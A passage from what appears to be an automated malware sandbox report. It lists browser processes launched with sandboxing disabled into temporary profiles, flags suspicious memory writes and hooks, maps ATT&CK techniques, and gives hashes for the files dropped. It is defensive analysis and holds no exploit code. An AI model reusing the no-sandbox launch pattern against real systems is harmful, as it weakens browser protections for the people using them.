        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3092,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=3128 /prefetch:1
        6⤵
        
        PID:6100
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3112,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=3088 /prefetch:9
        6⤵
        
        PID:5068
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3148,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
        6⤵
        
        PID:756
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3160,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=3288 /prefetch:9
        6⤵
        
        PID:752
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=3880,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:1
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3916
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --field-trial-handle=4100,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:14
        6⤵
        
        PID:5464
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\elpmssbv.tfd"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5636
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\elpmssbv.tfd /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\elpmssbv.tfd\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x3c0,0x3d0,0x3d4,0x3b4,0x3e4,0x7ff9ae0bf208,0x7ff9ae0bf214,0x7ff9ae0bf220
        6⤵
        
        PID:880
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rpztjxzd.h0p"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1188
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\rpztjxzd.h0p
        6⤵
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1268
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1944 -prefsLen 27097 -prefMapHandle 1948 -prefMapSize 270279 -ipcHandle 2032 -initialChannelId {6e45d3be-46b0-44d4-93df-d43ce307fbfa} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        7⤵
        
        PID:5964
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2152 -prefsLen 27133 -prefMapHandle 2228 -prefMapSize 270279 -ipcHandle 2180 -initialChannelId {68814caa-b87e-40c2-bfc4-8a29386bd01e} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        7⤵
        
        PID:400
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a8952219-54ac-45df-b67c-13257412c2db.dmp"
        7⤵
        
        PID:4132
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2268 -prefsLen 27133 -prefMapHandle 2940 -prefMapSize 270279 -ipcHandle 2968 -initialChannelId {9c958b17-9bd3-4897-9846-4f57317cdb94} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        7⤵
        
        PID:2548
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a589e14b-745c-47d9-a510-08b5f1c1034d.dmp"
        7⤵
        
        PID:2960
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2968 -prefsLen 27133 -prefMapHandle 3056 -prefMapSize 270279 -ipcHandle 3128 -initialChannelId {6d955739-e06f-4ac2-928b-a42fae9a5c0b} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        7⤵
        
        PID:3572
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\bdf870bd-fe41-475e-b98f-de7375e0d66c.dmp"
        7⤵
        
        PID:4612
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2968 -prefsLen 27247 -prefMapHandle 3332 -prefMapSize 270279 -ipcHandle 3328 -initialChannelId {4ba56371-30cb-4ef5-9a93-9f603ab18d8a} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        7⤵
        
        PID:4164
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3236 -prefsLen 27323 -prefMapHandle 3224 -prefMapSize 270279 -jsInitHandle 3212 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3188 -initialChannelId {bfae58a4-56e2-475a-87f5-6cee818fabd3} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        7⤵
        Checks processor information in registry
        
        PID:1008
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\f654e995-9f9e-4ea0-8beb-508e8f6a3cf2.dmp"
        7⤵
        
        PID:5680
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3328 -prefsLen 27323 -prefMapHandle 4104 -prefMapSize 270279 -ipcHandle 4092 -initialChannelId {8af7d935-e295-4bae-addf-82041a025f8b} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        7⤵
        
        PID:900
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\8be091c5-ee68-4213-815e-69a81a0afdd5.dmp"
        7⤵
        
        PID:1948
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3620 -prefsLen 27323 -prefMapHandle 3604 -prefMapSize 270279 -ipcHandle 4344 -initialChannelId {325b2eab-a99b-4f64-8c71-58cef7a0ec86} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        7⤵
        
        PID:4112
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4596 -prefsLen 34822 -prefMapHandle 4600 -prefMapSize 270279 -jsInitHandle 4604 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4612 -initialChannelId {2130e1fe-16f3-4d21-9e20-87adfd56bee0} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        7⤵
        Checks processor information in registry
        
        PID:5928
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5080 -prefsLen 35010 -prefMapHandle 5084 -prefMapSize 270279 -ipcHandle 5028 -initialChannelId {21942e31-ea4b-4102-b5a8-c26e2d73cfa8} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        7⤵
        Checks processor information in registry
        
        PID:4252
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4596 -prefsLen 32952 -prefMapHandle 5060 -prefMapSize 270279 -jsInitHandle 4732 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2548 -initialChannelId {08253e37-a7a1-4af0-ac75-7d239bfb7e10} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        7⤵
        
        PID:2868
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5564 -prefsLen 32952 -prefMapHandle 5568 -prefMapSize 270279 -jsInitHandle 5572 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4732 -initialChannelId {2b77c88f-5fa3-4aaa-92d8-5918670d34aa} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        7⤵
        
        PID:3876
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5732 -prefsLen 32952 -prefMapHandle 5736 -prefMapSize 270279 -jsInitHandle 5740 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5748 -initialChannelId {8c3184d1-96d0-444e-be17-cc95fb13eb76} -parentPid 1268 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1268" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        7⤵
        
        PID:6120
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a"
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:6068
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9b198dcf8,0x7ff9b198dd04,0x7ff9b198dd10
        6⤵
        
        PID:1556
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1992,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=1988 /prefetch:2
        6⤵
        
        PID:4864
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --field-trial-handle=1828,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=2004 /prefetch:11
        6⤵
        
        PID:4868
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --field-trial-handle=2124,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:13
        6⤵
        
        PID:4480
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2888,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:1
        6⤵
        
        PID:3616
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2904,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:1
        6⤵
        
        PID:5168
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3288,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:1
        6⤵
        
        PID:2420
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3304,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=2120 /prefetch:9
        6⤵
        
        PID:2344
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=2852,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:1
        6⤵
        
        PID:2624
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3348,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=3864 /prefetch:9
        6⤵
        
        PID:5272
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u4a4hzxh.y1a" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4032,i,9337054242369903908,2788152900624457757,262144 --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:1
        6⤵
        
        PID:5076

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:5404

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_vil2e5vb.3yx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vil2e5vb.3yx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Crashpad\settings.dat
Size 40B
SHA256 2e12533486043a228131cf8de28ee565fd9caf694379b92e292424d3b74f37ea
MD5 abce9f52627899f7d3c4a2e2acb1b0c6
SHA1 8db0c0d06b3574a56d75f59e731539e80bd3e98d
SHA512 4d4633b2e495400fdfed4e4aca085f6647ce37a42b9caa476f41ddd2c0b6b1c35773754ac38eecda054b263cc86b4d4f112e8969236332d21371b1900e025dd1
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 306410dd8bacde9af4e4069f1b52a817c101b5898364df18e155c80f36267dca
MD5 f1f025fab7662d0b86f5fabe55a98bb3
SHA1 61869dd62e550c3ba16739510a990f9b88f5092d
SHA512 b2c6c6a05698ff07bac24572c42302c1c714793866f390e69c775c7ee75077a2bf90be8565c62d4e01ca6e6994051d6c1b257a1709edcde7aef2991bc5fa6c0e
SSDEEP 6:/F4vXfkNG7nMst3PMS+/xipaS8GIKMz1gv9:d4vXMNmMGES+56aSM1gV
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Cache\Cache_Data\data_1
Size 8KB
SHA256 35bb2f189c643dcf52ecf037603d104035ecdc490bf059b7736e58ef7d821a09
MD5 259e7ed5fb3c6c90533b963da5b2fc1b
SHA1 df90eabda434ca50828abb039b4f80b7f051ec77
SHA512 9d401053ac21a73863b461b0361df1a17850f42fd5fc7a77763a124aa33f2e9493fad018c78cdff63ca10f6710e53255ce891ad6ec56ec77d770c4630f274933
SSDEEP 3:MsEllllkXl:/M/6
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 8497b2af013fa78a3b66686248453df5b2751c937108266c142d448af59df54b
MD5 c2633895341d1dced2f6eb2b429e9605
SHA1 d0c527d9daa88ca2ad1c3a99cc37d0e39d16367e
SHA512 5c82efacbff87d15d07f210401505b88be3521e56f37e765ec65e90f9f91963c9b6d509e91e8374f07505cf4af603db8798b24feaba3d256d7d5c25e15170d1d
SSDEEP 24:knjTjxYTFlvC5dXEmXDinyLv6MCCwNOArlhMiCwNuP:0zxYTytLyMCXgcMiX
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 72b2d582d3687c8829ff0ee496ed92408ddaeb29830301153608e8298b0d868f
MD5 a4ee51a470630a8dfe4bde3002c47fad
SHA1 676e1c32c25496c3cadc5bc4fe2a42083ceb950c
SHA512 52d0b14f373a10521c524a080b5edcce93b1b4b064a164b31e3dea61a477d038fcdd594e52ac7601b19089d9487938c741f59a958c43a3b92b1ea987bc9a7a19
SSDEEP 768:nfDPLSgcRUv+94JUfDPLSgcRUv+E4cUfDPLSgcRUv+54:YVp
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000001

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Cache\Cache_Data\f_000001
Size 35KB
SHA256 66b7fba1db4495078eff29128d6b6ca4ed7ef57e891e9cff5913d4a8fab8823d
MD5 b789552a6023aa02bd955bebb2e15e3d
SHA1 60a5ef249e6b794e85dd339c73e91c1ccf030c21
SHA512 78e2f439d23e5b993beb6507137ea9e445229bd4c59cabcf2ba7aa22651007cd49e35514da35800ef8118e48f22918aee94527aa89fea44c24589eef05d065d0
SSDEEP 768:NbaS1xni4wXDRdRO+1Jo2KVAfNXJa4qStUSb:NaBVXDjDzKVAdRt
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Cache\Cache_Data\index
Size 256KB
SHA256 749eaf66f9288549ebe8406d3476f3b748e44459e3545798b859341c37fd8b44
MD5 fa6aebcff2fa5b426fe11a901a95dce3
SHA1 fd4529d85a8fd6398c01fc7b3b70602290d7e78b
SHA512 a4323871113da58cf8244926c4ed4710d66ab37944710b624e4aa4f6baf1b14b013e565bf97aff658d6bf342b89867202ccd29ad32073a8321913359aa7f3778
SSDEEP 3:LsKfltlNllklkXlS5ZZ/ra1t/911WE/glDlL/dlXlmNtl:LsK13lPS5ZZ6mEG0N
MD5 SHA1 SHA512 SSDEEP

Submit Download

7018b8cf1c3b00c7_0

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Code Cache\js\7018b8cf1c3b00c7_0
Size 306B
SHA256 66ab096e44972a8d11d326c257e003d9f91e356cf4439ab889da0311f326d1d2
MD5 93456169ce60becc286fd3978a876ab7
SHA1 43e83ce9c67018e4578ffe0d58ea49dc912dd362
SHA512 03bdc53238345df638ec3b265feb1dd3cf823422a8a6d5cc8254aa8df06e5de129468f67da6354197543b63127784bb358204edde35ada0a664d6af4f388a5aa
MD5 SHA1 SHA512

Submit Download

ba678a2fbd8c358c_0

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Code Cache\js\ba678a2fbd8c358c_0
Size 298B
SHA256 22b8319f419c0df19bac9cc9772b30026a54fde97615bdd2ffaa06860ae74f19
MD5 ecd6055872fd02eded846d3ea01b91ce
SHA1 1c190e9d407259bd683941afc504abe59beace16
SHA512 bbe5cf9832ecb73029da938f63be69a991efd94cf09a00a040bfa7183910885fce56c8c77d15e85115698c3d6d3212a6470d7aab3b9ebabb752978a29aabf1fb
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 5b45dceea656384eb38a08fa5f3f933309334390967e1c03691f09fe170e088d
MD5 d64573ef431c8f6b146049a8e49f21be
SHA1 a9dda5d7e4dc22e4d6950e4be47ae953baddca24
SHA512 90bafa171e9a01c633d52425de3194efd6005eb532fc296281d533d41186663c88c2241e7e4b0572087340b97a652d4d3f5bc676b3ef24e2b57ae3b5bcaa6687
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Code Cache\wasm\index-dir\the-real-index
Size 48B
SHA256 743258c6044cb7d4c9de024b571a5cf7a2c4b1f71633ec9a5243be145595773a
MD5 6ff5b266e09bf14e36c857ab30095887
SHA1 e003394ad2b071425682d726d1b32b20e24150d7
SHA512 28758da68577c4a28f02c7b479e39e675e4519709defad9a5ceab0bc4de2785d3f4d994063f349bb2bdc589cca2f8630ddf1b1374d9f7078604c9aeb33ade65b
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\DawnGraphiteCache\index
Size 256KB
SHA256 44cda732ef465ca71799c8ebc055d5704532e9f73213d68944a438906ddeac93
MD5 dc9c5ae2e493a0d7f3370b491b4402e8
SHA1 e6376208474b293fe4c67110aacb87b39709f3f3
SHA512 24c937b2265a4ad9ce21a6aa16f3f237c42057f607fc1bae1a875f4dfc03a5009c05af404761f74d1065e8bf2f1b3733679f7b5c154aeede16c3ae8c0a8c599d
SSDEEP 3:LstlNllklkXlc:LsX3lP
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\DawnWebGPUCache\index
Size 256KB
